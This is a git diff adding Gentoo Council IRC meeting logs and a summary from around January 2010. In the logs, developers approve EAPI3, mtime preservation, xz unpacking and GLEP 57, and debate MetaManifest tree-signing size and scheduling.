+22:16:32 <Calchan>	solar? do you reconsider your vote or you keep 5.3?
+22:17:46 <solar>	I'm still in favor of 5.3
+22:17:49 <Calchan>	ok
+22:17:53 <leio>	On 12 October meeting we also voted "A: current Portage and Pkgcore behaviour, all mtimes are preserved" with a clear majority, was this topic re-opened since then?
+22:18:18 <ulm>	leio: no, just clarifications to it
+22:18:23 <leio>	ok.
+22:18:26 <Calchan>	leio, the issue was about documenting
+22:18:35 <Betelgeuse>	leio: Basically sub seconds involved
+22:18:46 <solar>	I need to go. For any remaining open topics and I don't think any remain. See email.
+22:19:31 >grobian<	hey, do you have quick links for the prefix support discussion thread and a link to the prefix portage branch, for the purpose of the meeting summary?
+22:19:31 <Calchan>	solar, thanks, I think we're good
+22:20:28 <dertobi123>	we're done?
+22:20:33 <Calchan>	now the question is do we apply the documenttion change to all EAPIs retroactively? to the newly defined EAPI3? or to EAPI4?
+22:20:47 <Betelgeuse>	3
+22:20:51 <Calchan>	dertobi123, no but we'll use his email
+22:20:56 <Calchan>	I vote 3 too
+22:21:36 <ulm>	3
+22:21:40 <leio>	I vote EAPI3 or retroactively
+22:21:48 <Calchan>	dertobi123?
+22:22:21 <dertobi123>	for all eapis retroactively makes sense for me, as that's what portage is doing for quite some time - but making it part of our new eapi-3 works as well
+22:22:34 <ulm>	really it doesn't make any practical difference
+22:22:37 <Calchan>	thanks
+22:22:53 <Calchan>	so we have 5 votes for EAPI3 and 2 for retroactive
+22:23:17 <leio>	so basically "Since EAPI-3 this behaviour can be relied on in all PMS compliant package managers"
+22:23:20 <Calchan>	we'll define mtime preservation based on what portage does today in EAPI3 onwards
+22:23:36 <ulm>	right
+22:23:50 <dertobi123>	ack
+22:23:52 <Calchan>	and ulm you'll take care of the with whoever? is it ok?
+22:24:08 <ulm>	Calchan: I'll talk to Zac
+22:24:13 <Calchan>	and anymore comments on this topic before we switch?
+22:24:49 <leio>	ACTION: ulm to talk with Zac about defining current portage behaviour for documenting in EAPI-3
+22:24:59 <Calchan>	thanks leio
+22:25:07 <Calchan>	and I understand we can move on
+22:25:23 <Calchan>	6.1 logs? summary? I can do summary if nobody wants
+22:25:31 <leio>	I have the summary almost ready
+22:25:39 <leio>	Logs I will commit today
+22:25:40 <Calchan>	leio, great thanks
+22:25:41 <ulm>	leio++
+22:25:42 <dertobi123>	leio++ for that
+22:25:43 -->	Ramonster (n=ramonvan@ramonvanalteren.xs4all.nl) has joined #gentoo-council
+22:25:54 <Calchan>	6.2 next meeting?
+22:26:03 <Calchan>	I'd like to delay by one week
+22:26:08 <leio>	Sorry for slacking on the previous ones (see my private e-mail), writing it during the meeting works a lot better
+22:26:23 <leio>	I am fine with either delaying or not
+22:26:28 <Calchan>	we've been meeting every 4 weeks instead of every month so we gained a couple weeks on the way
+22:26:40 <Calchan>	and I'm not sure my brain and liver will be up to speed
+22:27:07 <Betelgeuse>	4 or 18 are best for me in January
+22:27:14 <Betelgeuse>	well != 11
+22:27:21 <Betelgeuse>	Exams on 12
+22:27:26 <dertobi123>	so, january 18th then?
+22:27:44 <Betelgeuse>	solar probably has a work meeting
+22:27:44 <Calchan>	18th seems a bit late, in which case I don't mind doing it on the 4th
+22:28:08 <Betelgeuse>	so we might want to ask what suits him
+22:28:28 <Calchan>	Betelgeuse, I'll see with him if another day of the week would help
+22:28:47 <Calchan>	Betelgeuse, your exams are on the 12th only or all week?
+22:28:48 <ABCD>	May I request that the council consider adding *.xz/*.tar.xz to unpack() for the new EAPI-3 (instead of waiting until EAPI-4)? (or should that wait until the next meeting? Portage already has support, but disabled for older EAPIs)
+22:28:54 <Betelgeuse>	Calchan: all week
+22:29:09 <Calchan>	ABCD, not the time and place to do that, send an email to the list as usual
+22:29:18 <ABCD>	Calchan: okay
+22:29:29 <Calchan>	Betelgeuse, so let's see with solar what day in the week of the 4th he prefers
+22:29:51 <Calchan>	does anybody have a preference for a day in that week?
+22:30:13 <Betelgeuse>	before friday
+22:30:22 <leio>	not me, but maybe we need to re-consider Monday if his meetings are always on Mondays?
+22:30:32 <leio>	(I mean not for just one meeting, but overall)
+22:30:41 -->	ulm__ (n=ulm@p4FD3F0D7.dip.t-dialin.net) has joined #gentoo-council
+22:30:43 <Calchan>	leio, yes
+22:30:51 <dertobi123>	what about starting a new doodle-poll for the january meeting?
+22:31:11 <--	ulm has quit (Nick collision from services.)
+22:31:17 ---	ulm__ is now known as ulm
+22:31:20 <Calchan>	so if everybody agrees we'll have next meeting on that week of january which starts on the 4th, we need to decide what day exactly
+22:31:31 <ulm>	sorry, network hiccup
+22:31:33 <Calchan>	dertobi123, great, can you take care of that?
+22:31:46 <Betelgeuse>	who does the agenda next time?
+22:31:57 <dertobi123>	Calchan: i'll try to do so, yeah
+22:32:17 <leio>	ACTION: dertobi123 to check what day of the week is best for council members nowadays, possibly rescheduling the next meetings date
+22:32:27 <Calchan>	and follow up topics, just doing the agenda is not enough, devs need to be pushed to do the right thing
+22:32:47 ---	ChanServ gives channel operator status to ulm
+22:33:21 <Calchan>	I can't do the agenda as I will be without internet for 2 weeks around christmas and new year
+22:34:25 ---	dabbott|away is now known as dabbott
+22:34:32 <Calchan>	if nobody volunteers I can do it if we delay the meeting by at least one week
+22:34:33 <Betelgeuse>	I will mostly be reading for exams so I would prefer someone else
+22:34:50 <Calchan>	Betelgeuse, yes, don't sabotage your exams
+22:35:16 <Betelgeuse>	Calchan: Well Finnish system gives you infinite retries
+22:35:25 <Calchan>	I don't mind doing it if we agree to delay
+22:35:32 <Calchan>	Betelgeuse, but life doesn't ;o)
+22:35:35 <Betelgeuse>	So sabotaging is impossible :)
+22:35:45 <dertobi123>	works for me, besides that i'd like to see luca or solar doing an agenda, too
+22:36:40 <dertobi123>	btw. luca ...
+22:36:56 <Calchan>	dertobi123, luca has been pretty much inactive so he may not have enough time (and I'd prefer this be done correctly as it's important) and solar is reconsidering all his gentoo activities due to work
+22:38:04 <Calchan>	dertobi123, please add to your the possibility to delay the meeting to the week of the 18th, in which case I can take care of the agenda
+22:38:14 <Calchan>	s/to your/to your poll/
+22:38:39 <dertobi123>	so well, yeah ... speaking of luca ... he missed the july and august meetings according to the logs and he missed this meeting, too. if we follow glep 39 it's time to elect a replacement for luca :/
+22:38:41 <leio>	that's like two polls then, day in general, and week
+22:39:09 <Calchan>	dertobi123, we usually don't elect and pick the next in list
+22:39:18 <Calchan>	which would be bonsaikitten
+22:39:30 <Betelgeuse>	Calchan: that's for stepping down
+22:39:33 <Betelgeuse>	Calchan: not slackers
+22:39:34 <bonsaikitten>	uh-oh :)
+22:39:39 <leio>	to my knowledge we elect, but tend to elect the next in list
+22:39:49 <Calchan>	Betelgeuse, right, sorry
+22:40:04 <Betelgeuse>	New elections it is then.
+22:40:05 <dertobi123>	"a new election is held to replace that person"
+22:40:20 <Calchan>	whoever that is I want to make sure that person will be committed to the coucil though
+22:40:23 <Betelgeuse>	We already voted not to change GLEP 39 ourselves
+22:40:57 <Calchan>	Betelgeuse, yes sorry, my brain is low on sugar, I need lunch :o)
+22:40:58 <ulm>	dertobi123: but we had _reopen_nominations in the last ballot
+22:41:20 <ulm>	so we take the next candidate if he ranks above it
+22:41:32 <Calchan>	ulm, reopen nominations is to hold another entire election
+22:41:45 <Calchan>	or I'm mistaken again?
+22:42:01 <ulm>	Calchan: i'm not sure
+22:42:17 <Calchan>	I propose that we have that discussion off list
+22:42:45 <Calchan>	and if necessary vote for a new member before the end of next week
+22:42:51 <dertobi123>	ulm: _reopen_nominations isn't even mentioned in glep39
+22:43:04 <ulm>	Calchan: youre right, glep 39 says "a new election is held to replace that person."
+22:43:48 <--	ohnobinki has quit (verne.freenode.net irc.freenode.net)
+22:43:48 <--	kallamej has quit (verne.freenode.net irc.freenode.net)
+22:43:48 <--	robbat2|na has quit (verne.freenode.net irc.freenode.net)
+22:43:48 <--	TomJBE has quit (verne.freenode.net irc.freenode.net)
+22:43:48 <--	Caster has quit (verne.freenode.net irc.freenode.net)
+22:43:49 <--	ahf has quit (verne.freenode.net irc.freenode.net)
+22:44:05 <Calchan>	dertobi123, which is what I meant when I said that glep 39 had been impliciteley and explicitely modified in the past without a vote and I wanted us to decide on a mechanism to do that roperly, but nobody seemed to care so I gave up
+22:44:22 -->	robbat2|na (i=nobody@gentoo/developer/robbat2) has joined #gentoo-council
+22:44:22 -->	TomJBE (n=tb@gentoo/contributor/tomjbe) has joined #gentoo-council
+22:44:22 -->	ohnobinki (n=ohnobink@ohnobinki-1-pt.tunnel.tserv9.chi1.ipv6.he.net) has joined #gentoo-council
+22:44:22 -->	Caster (i=Caster@gentoo/developer/caster) has joined #gentoo-council
+22:44:22 -->	ahf (i=ahf@irssi/staff/ahf) has joined #gentoo-council
+22:44:22 -->	kallamej (n=kallamej@gentoo/developer/kallamej) has joined #gentoo-council
+22:44:27 <Calchan>	that was n the first meetings
+22:44:36 *	dertobi123 remembers
+22:45:01 <Calchan>	if you guys are interested I can reactivate this at some point and we can discuss it again
+22:45:30 <dertobi123>	iirc we did vote to hold a general vote of all developers to amend glep39, but someone want to check the logs to be sure ;)
+22:45:49 <dertobi123>	Calchan: at least it's something that should be fixed
+22:46:01 <leio>	http://www.gentoo.org/proj/en/council/meeting-logs/20090720-summary.txt
+22:46:12 <Calchan>	dertobi123, we only voted that we couldn't decide be didn't vote on who could
+22:46:29 <Calchan>	whatever, this is not a discussion for right now, let's wrap up this meeting
+22:46:57 <Calchan>	6.2 dertobi123 will setup polls for what week and what day to meet next time
+22:47:03 *	dertobi123 nods
+22:47:34 <Calchan>	6.3 I volunteer to do the agenda next time unless we don't shift the meeting by at least one week or somebody else volunteers
+22:48:01 <Calchan>	and we will decide of who replaces lu_zero (vote or not) by the end of next week
+22:48:12 <Calchan>	actually before the 18th
+22:48:21 <Calchan>	if everybody is OK with that
+22:48:39 <Calchan>	after that date I'm without internet
+22:48:52 <dertobi123>	works for me, i'm mostly w/o internet starting the 18th
+22:49:06 <Calchan>	does everybody agree?
+22:49:13 <solar>	yes
+22:49:28 <Calchan>	solar, ah you're back :o)
+22:49:51 <solar>	had to pick up my lunch. I've been back watching the chat for the past ~10mins
+22:50:31 <Calchan>	if everybody agress then I'll declare the floor open to everybody for discussion of whatever including gleps 57 to 61
+22:50:50 <Calchan>	and I'll run to the microwave to prepare my lunch because I'm starving :o)
+22:50:50 <dertobi123>	okies, off to bed now. nn
+22:51:02 <Calchan>	good meeting, thanks guys
+22:51:22 <leio>	Does anyone have links handy for prefix support portage branch and the discussion thread about it?
+22:51:36 <dertobi123>	thanks for preparing the agenda and chairing this meeting, Calchan. well organized one :)
+22:52:24 <ulm>	yeah, thanks Calchan
+22:53:29 <solar>	leio: it was in calchans first mail to -dev ml about the agenda
+22:54:08 <solar>	http://archives.gentoo.org/gentoo-dev/msg_e588558e19aefd9f477f452cfdce955a.xml (you can follow this backwards)
+22:54:17 <leio>	oh, right
+22:55:29 <--	darkside_ (n=darkside@gentoo/developer/darkside) has left #gentoo-council
+22:55:50 <leio>	Presumably http://sources.gentoo.org/viewcvs.py/portage/main/branches/prefix/ for the branch
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100118-summary.txt b/xml/htdocs/proj/en/council/meeting-logs/20100118-summary.txt
new file mode 100644
index 00000000..8cccc731
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100118-summary.txt
@@ -0,0 +1,58 @@
+Summary of the meeting of January 18th, 2010
+
+Attendance
+==========
+Present:
+ Betelgeuse
+ Calchan
+ dertobi123
+ leio (proxied by wired)
+ scarabeus
+ solar
+ ulm
+
+Agenda
+======
+Final approval of prefix and mtime preservation
+Moving xz unpacking from EAPI4 to EAPI3
+Final approval of EAPI3
+Approval of GLEPs 57 to 61
+Merging of multiple ABIs code into the portage 3.3 branch
+
+prefix
+======
+The final implementation of prefix was unanimously approved for inclusion in
+EAPI3.
+
+mtime preservation
+==================
+The final implementation of mtime preservation was unanimously approved for
+inclusion in EAPI3.
+
+xz unpacking in EAPI3
+=====================
+xz unpacking was planned for EAPI4 but was already ready. Porting this feature
+to EAPI3 is trivial. The council approved xz unpacking to be included in
+EAPI3.
+
+Final approval of EAPI3
+=======================
+EAPI3 was approved by the council.
+
+GLEP 57
+=======
+GLEP57 was approved by the council.
+
+GLEPs 58 to 61
+==============
+The vote on GLEPs 58 to 61 was postponed due to more discussions being
+necessary.
+
+Multiple ABIs
+=============
+The council unanimously rejected the request for inclusion of the Multiple
+ABIs code in the portage 2.2 branch. Instead it was suggested to follow Zac's
+(zmedico) recommendation of maintaining it in a separate branch which is going
+to be made easier by the fact that the portage repository is being switched to
+git. Zac offered to help Thomas (tommy) with that.
+
diff --git a/xml/htdocs/proj/en/council/meeting-logs/20100118.txt b/xml/htdocs/proj/en/council/meeting-logs/20100118.txt
new file mode 100644
index 00000000..b8f5ea6e
--- /dev/null
+++ b/xml/htdocs/proj/en/council/meeting-logs/20100118.txt
@@ -0,0 +1,576 @@
+21:00:06 ---	dertobi123 sets mode +m #gentoo-council
+21:00:09 <dertobi123>	hi
+21:00:11 <Calchan>	Betelgeuse, dertobi123, solar?
+21:00:14 <Betelgeuse>	Calchan: yes
+21:00:26 *	scarabeus aroundy :]
+21:00:31 <Calchan>	ok, so it looks like we're only missing solar
+21:00:45 <solar>	why do you say that?
+21:00:59 <Calchan>	solar, oh sorry, hi :o)
+21:01:06 <scarabeus>	:]
+21:01:54 <Calchan>	ko, so who's logging?
+21:02:00 <Betelgeuse>	I am
+21:02:03 <Calchan>	good
+21:02:13 <Calchan>	anyone else, just in case?
+21:02:14 *	wired logging as well
+21:02:17 <Calchan>	great
+21:02:21 <Calchan>	roll call
+21:02:25 <ulm>	here
+21:02:31 <wired>	here, proxy for leio
+21:02:32 <scarabeus>	here
+21:02:44 <Betelgeuse>	still here
+21:02:46 <Calchan>	I'm obviously here :o)
+21:02:47 <solar>	likewise
+21:03:01 <Calchan>	dertobi123, is here too, still alive ? ;o)
+21:03:13 <dertobi123>	yep
+21:03:15 <dertobi123>	somewhat
+21:03:17 <Calchan>	great
+21:03:23 <Calchan>	who wants to chair?
+21:03:39 <Calchan>	I can as I know the topics, but anybody else is welcome to volunteer
+21:03:45 <solar>	Please do
+21:03:45 <Betelgeuse>	feel free
+21:03:46 <ulm>	Calchan: no objections
+21:03:53 <Calchan>	ok then
+21:04:02 <Calchan>	any remarks on the agenda?
+21:04:22 <Betelgeuse>	Calchan: Could get comments on the council web app at end if there's time but unlikely
+21:04:30 <Betelgeuse>	Calchan: As I didn't get much on the mailing list
+21:04:33 <Betelgeuse>	and scarabeus is new
+21:04:35 <Calchan>	after 4 we need to officially approve eapi3 if the status report of 2 and 3 is OK
+21:04:54 <ulm>	yes
+21:05:02 <Calchan>	Betelgeuse, yes, let's discuss that i n the open floor part if you want
+21:05:16 -->	ssuominen (n=ssuomine@gentoo/developer/ssuominen) has joined #gentoo-council
+21:05:22 <Calchan>	I couldn't comment on that, I was too busy with other ongoing subjects
+21:05:35 <Calchan>	any other comments?
+21:05:48 ---	Calchan gives voice to grobian
+21:06:11 <Calchan>	ok, let's moce to 2. prefix status
+21:06:23 -->	Cardoe (n=Cardoe@gentoo/developer/Cardoe) has joined #gentoo-council
+21:06:34 <Calchan>	grobian, can you tell us how prefix is progressing?
+21:06:39 <Calchan>	my typing sucks today
+21:06:43 <grobian>	Calchan: fairly well, I'd say
+21:06:51 <grobian>	as far as I know, portage is ready
+21:07:00 <Calchan>	ok, what was done, and what still needs to be done?
+21:07:03 <grobian>	it seems the PMS patch needed a final review by the council
+21:07:09 <Calchan>	ok
+21:07:18 <grobian>	so thanks to ulm the patch has been brought into a final state
+21:07:40 <grobian>	I personally see nothing that needs to be done
+21:07:49 <Calchan>	grobian, am I right in thing that there's nothing pending before finmal approval?
+21:07:51 <grobian>	lots of peeps actually started porting stuff
+21:07:56 <Calchan>	/thing/thinking/
+21:08:21 <grobian>	Calchan: as far as I am aware, all objections/questions by PMS team were dealt with
+21:08:30 <grobian>	I'd have to ask ulm to make that official
+21:08:42 <ulm>	yes, I think so
+21:09:05 <Calchan>	so if other council members agree we will consider prefix done and not a blocker for final approval of eapi3 then
+21:09:09 <ulm>	there were no more comments on the last version of the patch
+21:09:25 <Calchan>	can I get a quick yes from everybody on the above question? just a formality...
+21:09:27 <--	Arfrever has quit (Client Quit)
+21:09:41 <Calchan>	so that's a yes from me
+21:09:43 <dertobi123>	here's your "yes"
+21:09:45 <wired>	+1 here
+21:09:46 <ulm>	yes
+21:09:51 <scarabeus>	here is 1 "yes"
+21:09:52 <Betelgeuse>	the approval is done by having something to tag in PMS before
+21:10:03 <Betelgeuse>	if it's not committed yet then there's no commit to review and tag yet
+21:10:13 <ulm>	sigh
+21:10:18 <Betelgeuse>	but conceptually yes
+21:10:22 <Calchan>	Betelgeuse, we have a patch so it's as good
+21:10:23 <ulm>	it's committed: <http://git.overlays.gentoo.org/gitweb/?p=proj/pms.git;a=commit;h=f49a53b3a97dbe299f1b71dad5a6bf5b9b6805ba>
+21:10:32 <Calchan>	ulm, thanks
+21:10:32 <Betelgeuse>	ulm: good
+21:10:44 <Calchan>	solar? although we seem to have a majority here
+21:11:40 <solar>	Calchan: one moment
+21:11:44 <Calchan>	solar, sure
+21:13:22 <Calchan>	solar, let's move one as we have a majority anyway, and feel free to chime in with your opinion on that at any time during the meeting when you're more available
+21:13:38 <Calchan>	so let's move to : 3. mtime preservation status
+21:13:41 <Calchan>	ulm?
+21:14:08 <Calchan>	I seem to remember there was a minor point still to be dealt with, what was it again?
+21:14:18 <ulm>	no, all issues resolved
+21:14:26 <Calchan>	nothing that I would consider big enough to block eapi3 approval though
+21:14:30 <ulm>	consensus with PMS team and all PM authors
+21:14:40 <Calchan>	ulm, but can you still please remind us what it was?
+21:14:47 <Calchan>	just out of curiosity
+21:15:10 <solar>	Calchan: I voted last month to approve the prefix stuff. My vote from then still stands. So yes.
+21:15:12 <ulm>	there was an issue with nanosecond time stamps
+21:15:18 <Calchan>	solar thanks
+21:15:27 <Calchan>	ulm ah yes
+21:15:30 <ulm>	but it has been resolved
+21:15:49 <ulm>	here's the commit in PMS: <http://git.overlays.gentoo.org/gitweb/?p=proj/pms.git;a=commit;h=51690686a39149f89a64b80b5d6074cc56c46e1a>
+21:16:02 <Calchan>	ok, so do we all agree on final approval of mtime preservation for eapi3?
+21:16:06 <Calchan>	yes from here
+21:16:09 <ulm>	yes
+21:16:13 <dertobi123>	yep
+21:16:52 <scarabeus>	yep
+21:16:56 <Betelgeuse>	yes
+21:17:03 <solar>	reading
+21:18:26 <wired>	looks good, yes
+21:18:49 <Calchan>	alright we have a majority anyway, solar you can take your time
+21:18:53 <solar>	what is this subsecond stuff being slipped in?
+21:19:27 <ulm>	solar: basically, it says that subseconds must be set to zero or preserved exactly
+21:19:39 <solar>	ulm: that is new.
+21:19:51 <solar>	so does this turn it's value into a float/double ?
+21:20:15 <ulm>	solar: no, only intergers involved
+21:20:19 -->	yporti (n=yporti@r306-pb-passacinco.ibys.com.br) has joined #gentoo-council
+21:20:19 <ulm>	*integers
+21:21:07 <Calchan>	solar, ulm, can we move forward or you need more time to discuss this now?
+21:21:32 <ulm>	Calchan: move forward please, we can discuss it later
+21:21:38 <Calchan>	ulm, ok thanks
+21:21:46 <Calchan>	4. Should we move xz unpacking from EAPI4 to EAPI3?
+21:21:51 <ulm>	solar: it's all fine, trust me ;)
+21:21:57 <Calchan>	this was actually my fault that this was not discussed last time
+21:22:19 <Calchan>	we had a PMS patch ready already, prtage has that implemented for quite some time
+21:22:23 <Calchan>	and it's trivial
+21:22:32 -->	Fauli (n=Opfer@gentoo/developer/fauli) has joined #gentoo-council
+21:22:42 <dertobi123>	then lets get that in to eapi 3
+21:22:47 <Betelgeuse>	My point previosly and still is keeping EAPI 3 as something that most developers wouldn't need to know the contents of
+21:22:59 <scarabeus>	its two liner iirc :]
+21:23:00 <Calchan>	dertobi123, we still need to vote on xz though
+21:23:13 <Betelgeuse>	If we have repoman verifying proper .xz usage then it's fine for me
+21:23:23 <Calchan>	and its a yes from me
+21:23:35 <scarabeus>	well it is nothing required to know if portage handles it iself :]
+21:23:37 <dertobi123>	Calchan: that was my vote ;)
+21:23:41 <solar>	fine as well on .xz
+21:23:45 <Calchan>	can anybody answer Betelgeuse on repoman? ping me in private if you need voice
+21:24:02 <wired>	and a yes from me
+21:24:24 <Calchan>	we already have a majority anyway
+21:24:25 <scarabeus>	iirc it does not bail out now, since we have xz packages in kde4.4 snapshots
+21:24:37 <scarabeus>	and we supply the .xz tarballs and own extract function
+21:24:51 <scarabeus>	only problem with it is depending on proper tar version that supports xz
+21:25:01 <Betelgeuse>	scarabeus: Should we start forcing EAPI 3 or later for .xz?
+21:25:05 <Betelgeuse>	Such a repoman patch is easy
+21:25:26 <ulm>	.xz in eapi 3 fine for me as well
+21:25:40 <Betelgeuse>	What does Portage do for .xz files in EAPIs 0 1 2?
+21:25:44 <scarabeus>	we should push it throught, because few upstreams use only xz as sources, and the custom unpacks are lame
+21:25:53 <ulm>	Betelgeuse: unpack ignores them
+21:26:06 <Betelgeuse>	I remember some extension being pushed without EAPI bump but it was probably lzma related
+21:26:28 <Calchan>	as far as I can see we have everything approved for eapi3 so unless you speak now we have final approval for it
+21:26:50 <Betelgeuse>	ulm: Ok which is probably not what the user wants so EAPI 3 repoman check should be ok
+21:27:04 <ulm>	Calchan: so we include xz or not?
+21:27:15 <dertobi123>	we do
+21:27:17 <Calchan>	ulm, looks like it, yes :o)
+21:27:20 <ulm>	k
+21:27:23 <solar>	Calchan: assume yes from me on the eapi3 mtime.
+21:27:30 <Betelgeuse>	I will file a bug for repoman and xc
+21:27:31 <Calchan>	solar, ok thanks
+21:27:36 <Calchan>	Betelgeuse, good point
+21:27:48 <Calchan>	should we move forward?
+21:28:13 <Calchan>	5. GLEP 57
+21:28:23 <Betelgeuse>	https://bugs.gentoo.org/show_bug.cgi?id=301426
+21:28:45 <Calchan>	it's in informational glep on tree signing and security in general
+21:29:06 <Calchan>	if you want to discus it (briefly) speak now, or we'll move to vote on it
+21:29:46 <ulm>	Calchan: we don't approve eapi 3?
+21:29:59 <Betelgeuse>	I was mainly thinking do we need informational docs as GLEPs
+21:30:01 -->	romi (n=Rodrigo@mail.ltia.fc.unesp.br) has joined #gentoo-council
+21:30:09 <Calchan>	ulm, you want a specific vote for it? that's ok with me
+21:30:23 <Calchan>	let's vote for final approval of eapi3 then
+21:30:27 <Calchan>	yes
+21:30:30 <ulm>	Calchan: i think it would be appropriate
+21:30:35 <scarabeus>	yes for eapi3
+21:30:35 <ulm>	yes
+21:30:35 <dertobi123>	here's your yes :)
+21:31:04 <Calchan>	grobian, can you please take care of the champagne in the meantime?
+21:31:12 <Betelgeuse>	yes
+21:31:13 <grobian>	Calchan: you're just too late
+21:31:17 <dertobi123>	Betelgeuse: wrt informational docs - i don't think we *need* those as GLEPs, but it doesn't hurt to have one as a GLEP
+21:32:00 <Calchan>	we have a majority for eapi3 final approval, so as of right now eapi3 is offically official
+21:32:24 <Betelgeuse>	ulm: as you have commit rights it's easiest for you to tag it
+21:33:02 <Calchan>	let's move to GLEP 57 now
+21:33:05 <ulm>	Betelgeuse: I don't, but I'll ask fauli
+21:33:15 <wired>	yes for eapi3 for formality :)
+21:33:17 <solar>	We are going to have a hard time talking about these gleps 57-61 if robbat2 does not show up.
+21:33:26 <Betelgeuse>	ulm: The tags have been signed by council members
+21:33:37 <scarabeus>	the first one is ok
+21:33:40 <ulm>	Betelgeuse: ok, will do then
+21:33:49 <scarabeus>	it just sums up the reasons and whats going on :]
+21:33:55 <Calchan>	solar, he said he probably wouldn't though and I think most of us have discussed it with him before
+21:34:21 <Betelgeuse>	ulm: I remember using a bundle or something like that and emailing that to someone who can commit
+21:34:58 <Calchan>	technically all we need to do is vote yes or no, and no might mean not yet, discussions should have happened before as this has been in the making for years
+21:35:12 ---	Calchan gives voice to Fauli
+21:35:53 <Calchan>	Fauli, you have voice now so go ahead
+21:35:59 <Fauli>	Betelgeuse: I can commit, as Ciaran is not available for some days.
+21:36:15 <Fauli>	As soon as you are ready, send it my way.
+21:36:26 <--	Cardoe has quit (Remote closed the connection)
+21:37:18 <Calchan>	ok, so since there does not seem to be any discussion about glep 57, let's vote
+21:37:37 <Calchan>	I vote yes, as in it's informational only but states some necessary goals
+21:37:54 <ulm>	yes for 57
+21:38:06 <scarabeus>	glep 57 - yep
+21:38:15 <dertobi123>	yes
+21:38:21 <Betelgeuse>	yes
+21:38:26 <solar>	yes
+21:38:41 <Calchan>	good, we have a majority for yes, glep 57 is approved
+21:38:52 <Calchan>	6. GLEP 58
+21:39:39 <Calchan>	58 is about implementing metamanifest which does not require developper action
+21:39:56 <Calchan>	same thing, vote or comment please
+21:40:04 <Betelgeuse>	I assume robbat2 has done testing in practise from the latter GLEPs so no objections here
+21:40:14 -->	_robbat2laptop (n=robbat2@gentoo/developer/robbat2) has joined #gentoo-council
+21:40:15 <dertobi123>	first we'd need to vote for glep-60, as this one is required by 57
+21:40:22 ---	Calchan gives voice to _robbat2laptop
+21:40:26 <Calchan>	yay
+21:40:33 <_robbat2laptop>	sorry, in work meeting, and had bad wifi till now
+21:40:41 <ulm>	the size of the metamanifest is very large if there are no subdir (i.e. categories + eclass + profiles) metamanifests
+21:40:56 <Calchan>	_robbat2laptop, we approved 57 and were just starting 58
+21:41:11 <_robbat2laptop>	ulm, the metamanifest spec does specify subdirs Manifests are strongly suggested
+21:41:15 <Calchan>	ulm, agreed but there's glep 61 to the rescue
+21:41:39 <ulm>	_robbat2laptop: maybe council should support this suggestion then
+21:42:13 <Calchan>	ulm, we can make a specific note of it but it being in the glep already is enough for me
+21:42:41 <Calchan>	I would vote yes on this one, my only concern is about infra havong the manpower to actually implement that
+21:42:56 <_robbat2laptop>	Calchan, there's a functional MetaManifest generation prototype already
+21:43:03 <_robbat2laptop>	in my other dir on the gentoo CVS repo
+21:43:10 <solar>	and how is the final file?
+21:43:13 <solar>	how big
+21:43:33 <Betelgeuse>	_robbat2laptop: Have you tested how much slowers emerge --sync becomes?
+21:43:44 <ulm>	solar: I think it was 8 MB if without subdir manifests
+21:43:59 <Calchan>	ulm, compressed or not?
+21:44:21 <_robbat2laptop>	8MB uncompressed without subdirs
+21:44:37 <Calchan>	not that big of a deal then
+21:44:46 <_robbat2laptop>	if subdirs are used, it's about 8.05MB raw
+21:45:16 <ulm>	the compression factor cannot be good for SHA hashes
+21:45:39 <ulm>	mainly factor of 2 for ascii -> binary
+21:45:48 <Calchan>	_robbat2laptop, can you confirm that e.g. users on low bandwidth can deactivate this?
+21:45:49 <_robbat2laptop>	better than 2:1
+21:46:00 <_robbat2laptop>	Calchan, they can add --exclude MetaManifest*
+21:46:12 <_robbat2laptop>	they wouldn't be able to validate the tree as easily
+21:46:19 <_robbat2laptop>	but that is a tradeoff they have to decide
+21:46:43 <Calchan>	then if it can be deactivated and we have an already (at least partially) working implementation I vote yes
+21:46:47 <Calchan>	what about others?
+21:47:00 <Betelgeuse>	_robbat2laptop: I don't think you answered the speed implications
+21:47:34 <_robbat2laptop>	Betelgeuse, without the split, it's a new MetaManifest file nearly every rsync pass
+21:47:57 <Betelgeuse>	_robbat2laptop: I mean how long does verifying the Manifests add to the time
+21:47:58 <_robbat2laptop>	with the subdir split, the extra data transfered is <2MB in my tests
+21:48:03 <scarabeus>	we should maybe enforce the splits instead of recommending
+21:48:22 <Calchan>	scarabeus, good point
+21:48:23 <Betelgeuse>	_robbat2laptop: Mainly if there's anything major for older machines?
+21:48:23 <wired>	2mb isn't that bad
+21:48:40 <wired>	scarabeus: that sounds good
+21:48:47 <Calchan>	_robbat2laptop, what's the cost/implications of splitting?
+21:48:48 <_robbat2laptop>	Betelgeuse, I had full signature verification of _every_ Manifest and MetaManifest in <5 seconds, plus any IO time
+21:49:07 <Betelgeuse>	_robbat2laptop: ok thanks
+21:49:14 <_robbat2laptop>	cputime ~5 seconds on a not fast P4 box, ~3 years ago
+21:49:14 <solar>	Calchan: in short it's faster if split.
+21:49:35 <_robbat2laptop>	yes, because the subdir MetaManifests might not have changed between passes
+21:49:35 <Calchan>	solar, that's what I thought but I was afraid there was a downside to it
+21:49:44 <_robbat2laptop>	~50 more inodes
+21:49:48 <solar>	8M ? there is too much overhead in this format
+21:49:57 <_robbat2laptop>	8M uncompressed
+21:49:59 <Calchan>	if there is no downside I'd be in favor of making it mandatory
+21:50:05 <_robbat2laptop>	that's why there was the compression GLEP
+21:50:10 <solar>	I just hashed the entire tree sha1 @ around 3.6M
+21:50:47 <ulm>	but sha256/512 is longer
+21:51:26 <Calchan>	are we ready to vote on this or do you need more time to discuss?
+21:51:33 <_robbat2laptop>	http://dev.gentoo.org/~robbat2/MetaManifest.bz2
+21:51:38 <solar>	_robbat2laptop: You are not filering the files that are moot?
+21:51:45 <_robbat2laptop>	from July 2008
+21:51:51 <solar>	like ChangeLog/metadata.xml and other manifests?
+21:52:04 <_robbat2laptop>	solar, every file should turn up in exactly on Manifest file
+21:52:11 <_robbat2laptop>	*exactly one
+21:52:16 <_robbat2laptop>	MetaManifest or Manifest
+21:52:25 <_robbat2laptop>	but no single file should be in more than one Manifest
+21:53:58 <solar>	is there any valid reason to checksum metadata.xml or ChangeLog files in this format?
+21:54:26 <_robbat2laptop>	solar, the added filetypes GLEP deals with when they can be excluded
+21:55:08 <ulm>	_robbat2laptop: about 2/3 of the metamaifest size are due to metadata/cache?
+21:55:19 <_robbat2laptop>	ulm, yes unfortuntely
+21:55:22 <solar>	what number is that? these gleps kinda make you just back and forth. Making it a bit difficult to follow
+21:55:26 <_robbat2laptop>	and those files DO need to be protected
+21:55:42 <wired>	scarabeus: 60
+21:55:46 <wired>	oops
